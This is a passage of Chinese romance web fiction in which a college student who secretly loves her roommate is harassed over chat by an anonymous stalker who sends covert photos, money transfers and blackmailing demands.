“对不起啊宝宝，要是我刚才能起来，就不会让宝宝一个人吃饭了，作为补偿，过两天带宝宝去泡温泉好吗？”
虞姜再次无奈地深叹口气。
“好。”
“那宝宝快吃完了吗？”
虞姜：“还没有。”
褚倾子在那头轻笑了声。
虞姜的耳膜被这阵笑声刺了一瞬，不痛不痒，全是酥麻的感觉。
“那宝宝把摄像头打开，我陪宝宝一起把剩下的吃完，好不好？”
5. 五
手机屏幕里，褚倾子那张完美无瑕的脸，占据画面的绝大部分。
虞姜每天醒来看见的第一个人是她，入睡前见到的最后一个人也是她。
不管是素颜的褚倾子，还是化过妆的褚倾子，早已被深刻入心底。
虞姜相信，就算毕业后再隔数年，只要一想到“褚倾子”三个字，自己的脑海里，依旧能第一时间就浮现出她动人的模样。
令她感到如此熟悉的人，此刻就在屏幕的另一头，用惯常的温柔神情，含笑望着自己。
虞姜被她带有宠溺味道的眼神盯得耳根莫名发热，不由抬起手，揉了下受到影响的左耳。
小动作轻而易举地被捕捉到，褚倾子关心了句。
“宝宝的耳朵不舒服吗？”
虞姜镇定放下手：“有一点痒，现在好了，那我先继续吃早饭。”
“好，宝宝吃吧，我就在这里陪着宝宝。”
//
这通视频电话，一直持续到早饭结束。
离开食堂时，又被换成语音通话。
虞姜完全忘记要给无名变态发照片的事，一边和褚倾子聊着，一边赶往教室。
抵达教室门外，通话终于被挂断。
虞姜提前和辅导员发过消息，一进门，正和室友们在啃饭团的班长眼尖地瞧见她，举手招呼她过去。
“辅导员和我说了，这是请假条，你写完就给我吧，我下完课正好找她有事，顺便替你交给她。”
虞姜道谢着接过东西，目光看向周围，扫过倒数第二排的靠窗处时，恰好和坐在那里的其中一个女生对视上。
对方和她招招手，等虞姜靠近，她已经和小伙伴一同往里挪进一个位置。
“倾子又请假了？”
虞姜看出她的意图，没拒绝，顺势坐到她刚让出来的空位上。
“嗯，她今天身体不太舒服。”
王杨楠也还记得褚倾子前不久刚请过假的事，语透关心：“这才多久又请假，是不是上次的病没好全啊？”
虞姜边替褚倾子填写请假条，边回应她：“下午我再陪她去医院做个检查，到时候看医生怎么说。”
王杨楠：“是该去检查一下。”
她顿了顿，起了新的话题：“本来这件事我是打算等倾子来了再问她的，没想到她今天请假了，她身体不舒服我也不好再打扰，刚好你在这儿，我就想着干脆问你好了。”
负责这门课的老师恰好走了进来。
虞姜示意她等一会儿，上前和老师说完褚倾子请假的事，再回来继续话题：“好，你问吧。”
王杨楠的表情顿时有些狰狞：“我和程妍也打算搬出去住了，这学期被安排进来的那两个学妹，一个比一个能折磨人，你知道昨晚我半夜起来喝水，在水杯里差点喝到什么吗？”
虞姜下意识想说蟑螂，又觉得她既然强调了学妹的存在，那答案必然与人有关。
她实在想不出来，老实摇头。
一旁拿干脆面当早饭的程妍显然知道接下来的真相会有多劲爆，听到这里，默默把还剩半口的东西放下。
王杨楠字字泣血：“里面塞了一坨她穿了一整天还没来得及洗的臭袜子！我起先完全不知道，直接把温水倒进去了，要喝的时候才闻到味道，你不知道我有多后怕！就差那么一点，泡过脚味的袜子水，我就喝下去了！”
虞姜：？
愤愤控诉那位学妹的王杨楠正是激动的时候，就算虞姜的疑惑只写在眼睛里，也不影响她主动把事情经过讲清楚。
“她昨晚喝醉才回来的，进门的时候我已经在床上了，估计就是那时候脱了放进去的，不管她是无意的还是故意的，这宿舍我是真待不下去了，你知道昨晚我差点崩溃的时候最先想到的是什么吗？”
她委屈巴巴地呜呜两声：“要是你和倾子没有搬出去就好了，那我也就不需要受这种委屈了。”
刚呜完，上课铃响了。
王杨楠表情一收，迅速抛出自己想了解的问题：“我认识的朋友里，就只有你和倾子是在外面租房的，所以我只能来问你们了，你们租的那套公寓，每个月加上水电费的话，一个人摊下来要多少钱啊？如果价钱合适，我和程妍也打算在你们小区租一套。”
老师在讲台上打开课件PPT。
虞姜一心二用，一边听老师讲课，一边压低声音回答王杨楠。
“不好意思啊，这个问题我现在没法回答你，你还有其它需要了解的吗，不然你列个单子微信发给我，我等会儿回去了，替你问一下倾子再告诉你。”
王杨楠下意识问：“啊？房子你不是一起住的吗？你怎么会不知道要多少房租？”
下一秒，她恍然大悟：“喔！这些都是倾子出的钱是吧？呜呜呜真羡慕你，我什么时候也能拥有这样一个有钱的好闺蜜呢嘤嘤嘤。”
她说这话时，语气里是单纯的羡慕，并不是那种含着酸味的阴阳怪气。
虞姜没有扩展这个话题，浅笑一番，以作回应。
褚倾子对她的好，一直是有目共睹的。
尽管也有不少女孩子同褚倾子表过白，至始至终，从没有谁怀疑过，褚倾子对她的温柔，存在超越友谊的意义。
因为褚倾子对大家都很好。
虞姜身为和她最亲密的同居室友，得到的比寻常人要多一些，也是再自然不过。
若是哪一天，出现了一个会让褚倾子情绪失控的人，大家或许才会开始怀疑，这个人，应当就是那个终于能令褚倾子心动的人吧。
毕竟，爱情的出现，往往都伴随着“特殊对待”这个词。
王杨楠结束掉这个暂时无解的话题：“那我到时候直接问倾子好了，这样也比较方便。”
“好。”
虞姜准备收心专注听课，与翻开的课本一同躺着的手机，亮了一下。
褚倾子挂断语音通话之前，明确说过接下来不会再给自己发消息。
那么屏幕里显示的微信消息通知，有极大可能性，是无名变态发来的。
虞姜本不欲理会，她可没忘记对方答应过自己的条件，只要自己把早饭——
脸色瞬间白得就跟老师把粉笔搓成灰、在这上头抹过一遍似的。
完了。
刚才光顾着和褚倾子聊天，压根不记得还要拍照打卡的事。
虞姜连忙解锁。
【无名变态：老婆老婆老婆老婆，我来检查老婆有没有乖乖吃早餐啦～（小狗探头.jpg）】
【无名变态：老婆，你还没吃完嘛？（小心翼翼地戳戳.jpg）】
【无名变态：老婆，你再不吃完上课要迟到了哇！（小狗焦急.jp
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g）】
【无名变态：老婆，呜哇哇！你该不会是把我给忘了吧？（小狗委屈.jpg）】
【无名变态：我决定讨厌老婆一秒钟呜呜呜，只想着和讨厌的褚倾子打电话，完全把我给忘了呜呜呜，老婆要是进教室之前还不想起我，我真的要生气了！哼！（撅小嘴.jpg）】
【无名变态：一秒过去了，我又重新爱上老婆噜～（小狗转圈.jpg)】
【无名变态：老婆是真把我给忘得一干二净了，老婆!我现在很生气，后果很严重，我再给老婆最后一次机会，老婆你要是在下课前还记不起我，那我真的要狠狠地惩罚老婆了！】
消息发到这里就停了。
虞姜的行为也算是违约，见状，下意识要打字——
抱歉，刚才有点意外，忘记拍照了。
刚打完“点”字，聊天框内的文字就被全选清空掉。
虞姜记起无名变态的威胁行为，决定在对方面前，努力把道德感降到最低。
她按捺住那股想要道歉的欲望，重新发言。
【你刚才就在附近？】
虞姜如今也算是“身经百战”，知道死变态几分钟前一直在暗处窥伺着自己，情绪倒还算稳定。
【无名变态：老婆你终于记起我了呜呜呜！好委屈！！！】
【无名变态：哼！别以为老婆你故意转移话题，我就会忘记老婆你刚才没有拍照给我的事！虽然老婆你乖乖把早饭吃完了，但我还是很嫉妒！所以对老婆的惩罚，还是不可免除！】
虞姜的呼吸一下子停住。
因为不知道会面临何种处罚而即将从嗓子眼里跳出来的心脏，在看见对方的“处罚内容”时，唰一声又落了回去。
【无名变态：[对方向您转账1314元]】
【无名变态：本来是准备等老婆乖乖吃完早饭，就给老婆发5200的奖励红包的，哼！现在因为老婆惹我不高兴，所以5200没有了！（气鼓鼓.jpg）】
【无名变态：要是再晚一点！我的怒火就会更旺了！到时候连1314都不会有了！生气的我，只会给老婆520了！（小狗咆哮.jpg）】
【无名变态：接下来开始回答老婆的问题！（小狗乖乖坐好.jpg）】
【无名变态：嘻嘻，老婆终于对我产生兴趣了呢，好高兴好高兴～】
【无名变态：老婆好棒，真是特别聪明的老婆呢～老婆你猜对噜～刚才我的确就在老婆看不见的地方，光明正大地看着老婆呢，老婆今天特别可爱特别好看，我特别特别喜欢～（亲一大口.jpg）】
【无名变态：（虞姜偷拍图新版.jpg）】
【无名变态：谢谢老婆出镜，我为老婆准备的专属收藏墙又要多出来新的老婆照片了，好开心！】
【无名变态：[对方向您转账5200元]】
【无名变态：老婆被我偷拍辛苦了，这是给老婆的辛苦费，期待下次继续偷拍！】
虞姜：“……”
她觉得自己这辈子，应该不会再遇见像死变态一样，这么莫名其妙的第二个人了。
【无名变态：现在，我又要老婆替我完成新的愿望了，老婆可不许拒绝哦，不然我也说不准，老婆下午究竟能不能陪讨厌的褚倾子去医院呢～（我真的没有在威胁.jpg）】
6. 六
虞姜心头咯噔一响。
原本镇定的情绪，在看见对方竟开始拿“褚倾子”做威胁时，瞬间变得应激。
【你和我之间的事，牵扯到其他人做什么！】
【无名变态：老婆的意思难道是，我和老婆是自己人，讨厌的褚倾子是毫不相干的外人咯？（小狗期待.jpg）】
【无名变态：都是我不好！是我太笨了，才会低估老婆对我的感情！请老婆原谅我的后知后觉，我以后一定不会再吃这种和咱们没有半点关系的陌生人的醋的！】
【无名变态：[对方向您转账13140元]】
【无名变态：怪我误会老婆了！对不起老婆！】
虞姜的胸口还在因怒意微微起伏。
她知道无名变态很喜欢在嘴上逞一时之快。
也自知这种时候，只要自己默认了，那“褚倾子”一词，很可能再也不会出现在她与死变态之间的对话里。
可她不愿这样。
她讨厌这个搅乱自己平淡生活的无名变态。
因为不想和对方扯上关系，哪怕只是在语言上撒个言不由衷的小谎，也不愿这般委曲求全。
【谁和你是自己人！】
【无名变态：呜呜呜好伤心，老婆还是那个高贵冷漠的老婆，连让我在口头上占个小便宜都不允许嘤嘤嘤。】
【无名变态：不过老婆这样好霸道好无情，好喜欢这么强硬的老婆！！！（害羞贴贴.jpg）】
【无名变态：对我有新态度的老婆出现噜！捕捉成功！爱死了爱死了，嘟起小嘴对老婆大亲特亲！！！】
【无名变态：好啦好啦，老婆别生我气嘛～满脑子只有老婆的我，当然知道老婆最在意讨厌的褚倾子了，哼，又是嫉妒她的三秒钟！！！】
【无名变态：我又不是什么没有脑子的笨蛋，怎么会不知道如果真把老婆逼急了，老婆说不定真会和我鱼死网破的道理呢，所以老婆你放心！我只是个暂时得不到老婆的脆弱小女孩，伤人这种事，我肯定不会做的！】
【无名变态：我刚才的意思是，老婆不肯替我完成小小心愿的话，我很有可能会因为太伤心，而忍不住拿着老婆喜欢讨厌鬼的证据，去找讨厌鬼呢。（无辜小狗.jpg）】
知道无名变态“威胁的初心”还是自己，虞姜反倒松口气。
只要不把褚倾子扯进来，对现在的她来说，就是好的。
【你是准备用这件事威胁我一辈子吗？】
说一辈子属实是夸张了些。
虞姜想，若是这个死变态真打算一直缠着自己，也顶多只能再威胁三年。
等自己毕了业，“虞姜喜欢褚倾子”这件事，也就不需要再刻意隐瞒了。
毕竟说与不说，她们俩，注定都是要分开的。
【无名变态：老婆到现在都还在怀疑我对老婆的爱嘛！（宽泪小狗.jpg)】
【无名变态：如果不是怕老婆彻底讨厌我，我一开始就会直接把证据甩在讨厌的褚倾子面前了！老婆如果被拒绝，我不是就能趁虚而入了嘛！哪里还需要像现在一样，可怜兮兮地用这种事来威胁（叉掉）来接近老婆哇！】
【无名变态：所以，老婆现在是打算让我去联系讨厌的褚倾子了嘛？（小狗摇尾巴.jpg）】
虞姜没有回答她这个问题。
【你这次又想让我做什么？】
【无名变态：嘤嘤嘤，虽然老婆又答应我了，但我还是不觉得高兴，吃醋吃醋吃超级超级酸的醋！！！】
【无名变态：恶狠狠地开始期待老婆改变想法决定找讨厌的褚倾子表白的那一天！】
【无名变态：要是那家伙同意了，也没有关系！偷偷做小三，我也是没问题的！（仰脸求夸.jpg）】
虞姜并不觉得自己和对方的关系好到可以谈论这些私人感情，见话题一直没被拉回正轨，忍不住打字。
【请说事。】
她有过前车之鉴，不敢再用简洁明了的“说事”来提醒对方。
【无名变态：老婆真是一块好有礼貌的小蛋糕呢～亲亲宇宙无敌最可爱的漂亮老婆～（啊呜亲一大口.jpg)】
虞姜：“……”
【无名变态：那我要说噜！这节课就算了，上午剩下的两节课，老婆不许再和别人一起坐了，刚才看见老婆和别人贴那么近讲话，我简直快疯了！所以老婆乖乖听话，下节课换教室之后，重新找个位置，自己一个人坐，这就是我要老婆做的事。（眼红小狗.jpg）】
虞姜：？
【无名变态：我这么一说，聪明老婆肯定能猜到我刚才有在门口偷看过老婆，那我也就好心地提醒老婆一声，走廊的监控这两天坏了，所以老婆就不用浪费时间去查监控啦，不好意思呀老婆，靠这种方法，老婆还是找不到我的呢～】
【无名变态：下节课我不会再偷看老婆了，所以老婆找好新位置后，要乖乖给我拍照打卡哦，这次如果再忘记，我是真的要生气了！（臭脸小狗.jpg）】
虞姜觉得这个变态属实有点大病。
【你真有病就去给我治，我正常交友，关你什么事？】
她甚至可以预想到，一旦自己这次妥协了，对方接下来会如何得寸进尺——
平日里自己都是和褚倾子一起坐，按照死变态的意思，岂不是日后自己也都不能这么做了？
等虞姜冷静下来，聊天框里，已经多出一行新的文字。
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是她发出去的，内容正是她此时的想法。
无名变态回得很快。
【无名变态：呜呜呜好委屈，老婆是真把我的话当耳旁风呢，我不是说过了嘛，我又不是笨蛋，既然知道老婆的逆鳞在哪里，又怎么会上赶着去碰嘛！（委屈大哭.jpg）】
【无名变态：知道老婆一直是和讨厌的褚倾子坐一起，我已经很努力很努力地逼着自己不去嫉妒了，呜呜呜我连这么大的困难都克服了，现在就这么一点小小的请求，老婆还不肯答应吗？（小狗倒地.jpg）】
无名变态在某种程度上，的确很了解虞姜。
倘若无名变态的回答是类似“老婆猜对啦，今天先让老婆适应适应，等老婆适应得差不多，也不许再和褚倾子一起坐了”的话，她这会儿定是不会如此冷静。
偏偏对方提的条件过于识趣——她主动将褚倾子放在禁忌之外了。
沉默良久，虞姜回复。
【知道了。】
//
虞姜和王杨楠她们只做了一个月的室友。
大家的关系，远不如王杨楠和程妍之间的亲密。
尽管有些惋惜虞姜不打算再和自己一起坐，清楚彼此关系界限的王杨楠，也没再姿态亲昵地多劝两句。
虞姜找好位置，开始给无名变态发打卡照片。
【无名变态：不行！现在离老婆上课的时间还有一会儿，我怎么能确定老婆是不是提前拍好糊弄我的，呜呜呜我要看上课之后的照片！（小狗撒娇.jpg）】
虞姜无语。
斤斤计较的死变态。
她没再搭理。
直到上课铃响，才重新打开相机拍照。
生怕对方又要吹毛求疵，这次的打卡照片，还特意让显示屏上的时间一同入镜。
【无名变态：收到啦！老婆好乖！抱住乖乖的老婆狠狠亲！！！（小狗摇耳朵.jpg）】
【无名变态：[对方向您转账5200元]】
【无名变态：这是乖乖的老婆应得的！老婆请收下！那我就不打扰老婆上课噜，老婆挥挥～（心满意足.jpg）】
虞姜已经能够淡定地收下这些钱。
扩充完余额，她放好手机，开始专心听课。
//
上午的最后一节课结束，饥肠辘辘的学生们，以最快速度收拾完，离开了教室。
虞姜的动作稍慢一些，刚把书本叠好，身后响起同班女生的关心声。
“倾子，你病好了？”
虞姜下意识扭头。
视线寻过去时，那头不知看了虞姜多久的褚倾子，温柔缱绻的眼神，就这么旁若无人地，和她的目光纠缠在了一起。
7. 七
虞姜又想去揉耳朵。
迎着褚倾子不偏不倚的眼神，担心要被再次询问，隐忍着选择放弃。
她抱着书朝人群走去。
即将靠近时，那些围着褚倾子关心的同学们，纷纷同她道别离开。
虞姜在褚倾子面前停住脚步。
正要开口，离她本就不算远的人，突的朝她微微倾近身子。
属于对方的味道，如同一道不含力道的巴掌，毫无预兆地迎面打来。
虞姜大脑一空，什么思绪都没了。
褚倾子看不见她一时间绷得比苍松还要笔直的后背，温柔征求她的意见。
“宝宝，我可以轻轻地抱你一下吗？”
她解释：“我刚才过来得有些急，现在停下来了，头又变得不太舒服，就像那天我们在家门口时一样，我想，如果能再和宝宝简单抱一下，应该会好很多。”
褚倾子面露自责：“对不起啊宝宝，我知道你不喜欢这样，如果你介意——”
虞姜不明白拥抱为何能缓解疼痛，但她向来不会质疑褚倾子的话。
担心对方身体的想法大过一切，她本能地打断道：“好。”
虞姜的身体状态还没完全恢复，甚至因为想到即将要发生的动作，开始变得越发僵硬。
褚倾子不知道她正承受着何般煎熬，闻言一副惊喜又感动的样子：“上次是我不好，以后我会懂分寸的，不会再像上回那样，因为抱得太紧，而让宝宝那么难受了。”
虞姜的听觉系统伴随着身体的异样，也出现了一点小故障。
她没能听全褚倾子的话，声音被故障过滤完，只剩下一句——
不会再抱太紧了。
一双手朝着虞姜伸来，目的不是穿过腰际将人搂住，而是一左一右按住被抱着的课本。
往外抽离的动作很轻，却又透着股不容拒绝的强硬态度。
等虞姜醒过神，压在胸前的几本书，已被褚倾子随手放在离门口最近的桌子上。
逐渐逼近的脚步声，一阵连着一阵。
似催命的魂咒，押着虞姜惴惴不安的心脏一点点往外挤。
即将破膛而出的刹那，一抹惑人的清香，将周遭的空气，尽数染透。
虞姜被不留缝隙地抱住，束缚住呼吸的，是属于褚倾子的味道。
虞姜一直是个听话的乖孩子。
在喜欢上褚倾子之前，她从不撒谎。
友情开始变质后，她把这种糟糕的坏习惯，在喜欢的人面前表现了一遍又一遍。
褚倾子第一次搂住她时，她隐忍着想要抬手抱回去的冲动，冷静自然地告诉她，抱歉倾子，我不太喜欢这样。
时隔这么久，虞姜依然记得很清楚。
当时的褚倾子，用一副无措又受伤的表情，缓缓地放开她。
因为自己的不识趣，氛围开始变得很尴尬。
打破沉默的，却是被无情拒绝的褚倾子。
她试探着朝虞姜伸出手，问，那我们可以牵手吗？
虞姜抬眸，撞入对方依旧温柔的眼底，她被里头如星光般微末的小心翼翼刺激到，一时忘了自己的坚持，下意识主动握住。
那之后又过一周。
虞姜寻了个新的理由，打了自己的脸。
褚倾子并未因她的反复无常动怒，她只是敛眸，盯着那只刚被自己捂热的手，听不出情绪地问。
那宝宝以后若是遇见了喜欢的人，这样的行为，也还会抵触吗？
虞姜忘了自己那时的回答——她总是很轻易地想起与褚倾子有关的一切，却很难记住自己做过什么。
“谢谢宝宝，我感觉好多了，宝宝应该饿了吧，那我们去吃饭吧。”
褚倾子很克制地抱了她一小会儿，主动松开。
她进屋拿起那几本孤零零躺在桌面上的书，走回来，冲着还在愣神的虞姜温声一笑：“宝宝想吃什么？看在宝宝刚才替我舒缓头痛的份上，中午这一顿，就让我请客吧，好不好？”
虞姜自是磨不过她，最后只能无奈同意。
两人穿过大半个校园，来到宿舍楼附近的储藏屋。
安静看着正在替自己塞回课本的褚倾子，虞姜的心口微微发涩。
如果褚倾子对自己，能够坏那么一点点，该有多好啊。
只要有一点点的坏，或许自己，就不会这么喜欢她了。
//
两人去的，是校外一家常光顾的饭馆。
这个时间点，正是人最多的时候。
她们果断抛弃人满为患的一楼，走上相对安静一些的二楼。
褚倾子陪着虞姜找完位置，又转身拐下楼去买饭。
她离开后没多久，虞姜的手机悄声亮起。
待看清发消息的人是谁，她维持一路的好心情，瞬间变差。
【无名变态：老婆老婆老婆老婆老婆～～～（小狗出现.jpg）】
【无名变态：老婆中午好，最最爱老婆的我来咯～】
【无名变态：哼！老婆又和讨厌的褚倾子一起去吃饭了！天天和老婆一起吃饭，她吃得明白吗！吃不明白换我来和老婆一起吃！】
虞姜阅读文字的速度，远比不上无名变态发消息的速度。
她索性不再逐字阅读，大致浏览过，见她说的都是些没有营养的废话，打算直接无视。
对方猜到她的想法，在屏幕被按灭前，嗖的发来一张最新的照片。
照片里的褚倾子，正和周围其他人一样，排队选着菜。
她长相出众，气质不凡，立于纷杂的人群中，使得周遭一切的人和事物，都被虚化成了衬托她的背景板。
无名变态的威胁手段，还是那么老套。
【无名变态：呀，好巧哇，没想到这么大的一家饭店，竟然遇见讨厌的褚倾子了呢。】
【无名变态：老婆你说，我是该上去和她打声招呼呢，还是不该上去和她打声招呼呢？】
虞姜简直要被对方的阴魂不散气得发抖。
若非自己有把柄在其手上，她恨不得立刻下去把这个讨厌的死变态直接揪出来。
【你又想做什么！】
【无名变态：老婆别生我气嘛，因为嫉妒讨厌鬼和老婆一起吃午饭，所以希望老婆安慰安慰我，
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难道不是人之常情嘛呜呜呜。（小狗委屈.jpg）】
虞姜虽恼怒，理智还算清醒。
她猜到对方应该是想让自己做什么。
环顾四周，发现还有不少空位后，情绪平复些许。
【我会找个空位重新单独坐下，你现在就给我走！】
事态紧急，虞姜没有丝毫和她争论的心情。
褚倾子很快就要上来。
在那之前，自己必须处理好死变态。
【无名变态：生气气！老婆又不把我的话当话，哼！】
【无名变态：我才不是想让老婆和讨厌鬼分桌吃饭，我又不是笨蛋，距离产生美的道理，我难道还不懂吗？】
【无名变态：哼！我最后再强调一遍！不管是以前！现在！还是将来！只要老婆和讨厌鬼之间的关系没有主动出现裂缝，我是绝对不会让老婆做出任何远离她的事情的！老婆这回应该可以记住了吧！】
虞姜抬起一半的身子，因为对方的委屈宣泄又坐回去。
饶是她对无名变态没有任何好感，见状也不禁感到困惑。
就算是明知与褚倾子不可能有结果的自己，也做不到在很喜欢她的时候，能够真心祝愿她，早日找到一个互相喜欢的人。
所以，究竟是自己的喜欢不够纯粹，还是无名变态本质上，并没有她自认为的那么喜欢自己？
一想到后者，虞姜瞬间来了精神。
【你要不要再确认一下，是不是真的对我……】
后面的话她觉得有些恶心，索性用省略号替代。
她相信对方能明白。
无名变态的确能看懂。
【无名变态：老婆大笨蛋！！！老婆你又在怀疑我对你的感情吗！！！我真的要委屈死啦！！！我真的超爱超爱超爱你的好不好！！！（小狗大哭.jpg）】
【无名变态：老婆不是喜欢讨厌的褚倾子吗，哼！那我让老婆远离她的话，老婆肯定会因为距离产生的美感滤镜，变得更喜欢她！我又不是笨蛋，肯定不能这么做！】
【无名变态：相反！我可是观察得很清楚，老婆现在和讨厌鬼的关系，表面上很好，实际上一点也不亲密！哪有好朋友连手都不拉的，所以这很不正常！】
【无名变态：所以，聪明机智的我，已经发现你们之间的问题了，哼哼！要么是老婆不够喜欢讨厌鬼，要么就是讨厌鬼不喜欢和别人做这么亲密的事，不管是哪种可能，对我来说，都是非常好滴！】
【无名变态：嘻嘻～我可太期待老婆因为我的关系，和讨厌鬼彻底闹掰呢～（恶魔小狗.jpg）】
【无名变态：虽然这样对老婆来说很残忍，但是对不起老婆！在我的词典里，为爱作恶，并不是贬义词！】
【无名变态：老婆别担心，等老婆迷途知返，只要老婆愿意，我一定会代替讨厌的褚倾子，和老婆做尽各种亲密事的～（比心心.jpg）】
【无名变态：好啦，讨厌鬼买完单了，那我就不卖关子噜，讨厌的褚倾子不是有洁癖嘛，既然如此，等会儿老婆和她吃饭的时候，就想办法让她吃掉老婆剩下的米饭吧～】
8. 八
无名变态所提条件，对有洁癖的褚倾子来说，无疑是一种践踏她底线的残忍行为。
这般做法，相当于是逼迫从不吃葱的虞姜，必须硬着头皮把葱咽下去。
虞姜只打算在无名变态面前降低自己的道德感。
这般恶劣的服从性测试，她万不可能对任何一个人做——更何况那是自己喜欢的人。
除此之外，还有一处关键点，令虞姜感到不解。
这种事情，无名变态是从何处知晓的？
褚倾子有洁癖的事，虞姜还是在两人一起进了同个社团之后，才知道的。
社团的成员都是女孩子，大家相处融洽，社团活动时互相投喂点零食或饮料，再正常不过。
虞姜并无这方面的禁忌。
某日，社长喂她吃雪媚娘。
对方很大方地把第一口让给她，等她咬完，又很自然地去尝第二口。
两人分享它时，褚倾子恰好去了洗手间。
等她进屋，社长手里的半颗雪媚娘，刚巧被副社长一口咽下。
副社长冲她惋惜道：“倾子妹妹，你要是早回来两秒，这剩下的最后一点，我就让给你吃啦～她们家其它甜品都不怎么样，就雪媚娘最畅销，今天这一颗，还是我从室友那里抢来的呢。”
褚倾子温和回应：“谢谢汪学姐，学姐要是喜欢，下次社团活动时，我提前买点带过来。”
副社长听了眼神瞬间发光，表情激动地说着谢谢富婆妹妹包养之类的话。
褚倾子莞尔一笑，坐回虞姜身侧。
虞姜正打算用相机看一眼自己的嘴角是否干净，见她回来，索性把这个问题抛给她。
褚倾子依旧温柔地笑着，一边用指腹替她抹净不小心沾在唇角的糯米粉，一边再自然不过地问她。
“宝宝也一起吃了？”
虞姜感觉她手上的力度偏重，又怀疑这只是自己的心理作用。
想着本质上褚倾子也没弄疼自己，索性不再去细品这点无关紧要的小细节。
她老老实实地回答。
“嗯，汪学姐本来是给林学姐的，林学姐先分我尝了一口。”
褚倾子敛眸，浓密的羽睫垂下一道阴影，将隐于眼底的情绪挡得干净。
“宝宝能接受和别人做这种事，却不能接受和我拥抱呢。”
旁边的人恰好讲到艺术学院某个女生同时谈七个女朋友终于翻车的史诗级八卦，吃瓜社员一连声的语气助词，将褚倾子的声音彻底压过。
虞姜没听清她说了什么，主动再问，得到的是对方面不改色的一笑。
“没什么，我说的不重要。”
虞姜没把这个小插曲放在心上，事后再过几天，又到了新的社团活动日。
褚倾子花钱找了跑腿，把店里包括雪媚娘在内的大多数甜品，都买了回来。
社长觉得吃甜品还是得配奶茶，大手一挥，也斥巨资给大家分享了一波下午茶福利。
等奶茶送到，选了芋泥啵啵的副社长捧着奶茶过来，向褚倾子表示由衷的感谢。
虞姜一如既往地坐在褚倾子身边，一边听她们对话，一边安静地把杯里的黑色珍珠，一颗一颗地往上吸。
身边两人聊着聊着，话题跳到奶茶身上。
副社长很自然地问：“我本来也想点新品的，但又担心不好喝，这样就浪费了，倾子妹妹，我能尝口你的吗，好喝的话我明天自己再点一杯。”
褚倾子婉拒了她：“抱歉汪学姐，可能不太方便，学姐想尝试的话，明天我来买单吧，不知道学姐打算几点喝，到时候我让人给学姐送过去。”
话音刚落，耳尖的一群人一窝蜂地围了上来。
“听者有份，我也是脆弱的需要奶茶安慰的小女孩呜呜呜。”
“富婆妹妹看看我，我是你失散多年的异父异母的亲姐姐啊！”
虞姜没有加入这场围绕褚倾子展开的甜话战斗，只是默默在心里记下褚倾子有洁癖的这件事。
人群很快散开，应下其他社员奶茶投喂需求的褚倾子，温柔地问她。
“宝宝，你想试一下新品吗？”
虞姜没有注意到她特意递过来的奶茶，视线落在她完美无瑕的脸上，摇了摇头。
“今天喝过了，明天还是不喝奶茶了吧。”
褚倾子隔了一会儿才说。
“好。”
谨记褚倾子有洁癖的虞姜，从没在这方面勉强过她。
偶尔，会当着褚倾子的面和别人共享同一样食物。
这种时候，褚倾子总是比她这个当事人更在意她的形象。
如同第一次替她抹去糯米粉时那样，每一回，她都会在虞姜品尝完之后，自然而然地伸手，用那根温热的指腹，为她擦净透着薄粉色的唇角。
有时就算虞姜吃的是不会留痕的东西，她也依然会这么做。
被虞姜提醒的话，总是会露出一副抱歉的表情，解释自己只是一时有些顺手。
虞姜后来逐渐不敢再这样和人共享。
不是担心褚倾子指腹的温度会渗入唇肉、抵达心脏。
单纯是因为，褚倾子替她擦抹唇角的力度，有着当事人并不自知的重。
无奈对方也是好心，虞姜对着她那张无辜的脸，实在没法说出太严肃的话。
为了自己的嘴巴着想，只好从自身做出改变。
如今的虞姜，也变得和褚倾子一样，不再喜欢和别人共享美食。
她了解这些，是因为当时自己就在一旁，无名变态会
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知道这些，难不成当时也在场？
【无名变态：老婆笨笨的呢，不过笨笨的老婆我也好喜欢～（摸摸头.jpg）】
【无名变态：知己知彼，才能百战不殆嘛，讨厌的褚倾子从某个角度上来说，也可以算是我的情敌，我除了要了解我最最最爱的老婆以外，肯定也要将有关她的一切，尽可能了解清楚嘛～（骄傲小狗.jpg）】
【无名变态：过去的一年，老婆又不是每天都24小时和她黏在一起，所以有些事情，老婆不清楚，我可不一定也不清楚喔～】
【无名变态：讨厌的褚倾子有洁癖，不能吃老婆甜甜的口水，是她活该！我可不像她，坏毛病那么多！我不但没有洁癖～我还特别期待将来能和老婆喝同一杯奶茶～吃同一块蛋糕呢～】
【无名变态：老婆含过的勺子，肯定格外甜，等我哪天拿到了，一定会把老婆留在上面的味道，吃得一干二净！（好馋.jpg）】
对方这般不管别人死活的恶心描述，令虞姜冒出一手臂的鸡皮疙瘩。
她有点反胃，伸手抚了抚自己的胸膛。
【你死心吧，我是不会那样做的。】
【无名变态：嘤嘤嘤我就知道老婆要为了讨厌的褚倾子反驳我，又是嫉妒讨厌鬼的一天！（狂揍小人.jpg）】
【无名变态：看在老婆刚才这么乖地答应我的份上，我就勉为其难地退半步吧呜呜呜。（委屈死了.jpg）】
【无名变态：我还是要看老婆邀请讨厌鬼吃剩下的米饭，不过不采用强制态度，只要老婆有这个邀请的动作就行！这样总没有问题了吧呜呜呜。（谁来可怜小狗一下啊.jpg）】
非强制的话，虞姜倒是没那么抗拒。
褚倾子当初能够直接拒绝副社长，说明她并不是一个不懂拒绝的老好人。
虞姜也就不需要担心她会因为友情而委屈自己。
【这怎么让你看？我是不可能和你视频的！】
【无名变态：炸毛的老婆真可爱，摸摸！（小狗贴贴.jpg）】
【无名变态：老婆安心完全我的愿望就好～监控的事，我自会想办法处理的～谢谢老婆关心，老婆真是一块心软的好蛋糕，好想把老婆一口一口吃进肚子里，永永远远和我在一起～】
【无名变态：[对方向您转账5200元]】
【无名变态：嘻嘻被老婆关心了好开心，心软的老婆自然要有奖励噜，老婆请收下！（鞠躬.jpg)】
虞姜又觉得反胃，这次连钱都顾不上点，直接把手机往桌面上翻身一扣。
一双端着餐盘的修长手，不期然地映入眼帘。
虞姜下意识抬头，撞入褚倾子看向自己的长眸。
她的特殊任务对象，来了。
9. 九
“宝宝等久了吧，今天出来吃饭的人比较多，队伍排得长了些。”
褚倾子一边解释，一边将餐盘里的饭菜摆到桌面上。
虞姜和她一起：“没关系。”
托无名变态骚扰消息的福，她其实根本没注意到时间具体流逝了多少。
两人吃饭时很少讲话。
彼此之间分外安静的氛围，嵌在周围的嘈杂声里，一时显得有些格格不入。
虞姜心里头藏着事，吃饭的速度，比起以往，明显慢上许多。
褚倾子开始用筷子挑鱼刺，悉心处理完，夹起最鲜嫩的那一部分鱼肉，放入虞姜碗中。
她比任何朋友都要了解虞姜的口味，也比任何朋友都清楚她品尝食物的速度。
见虞姜状态有异，不禁蹙眉：“宝宝今天胃口不好吗？怎么才吃这么一点呢？”
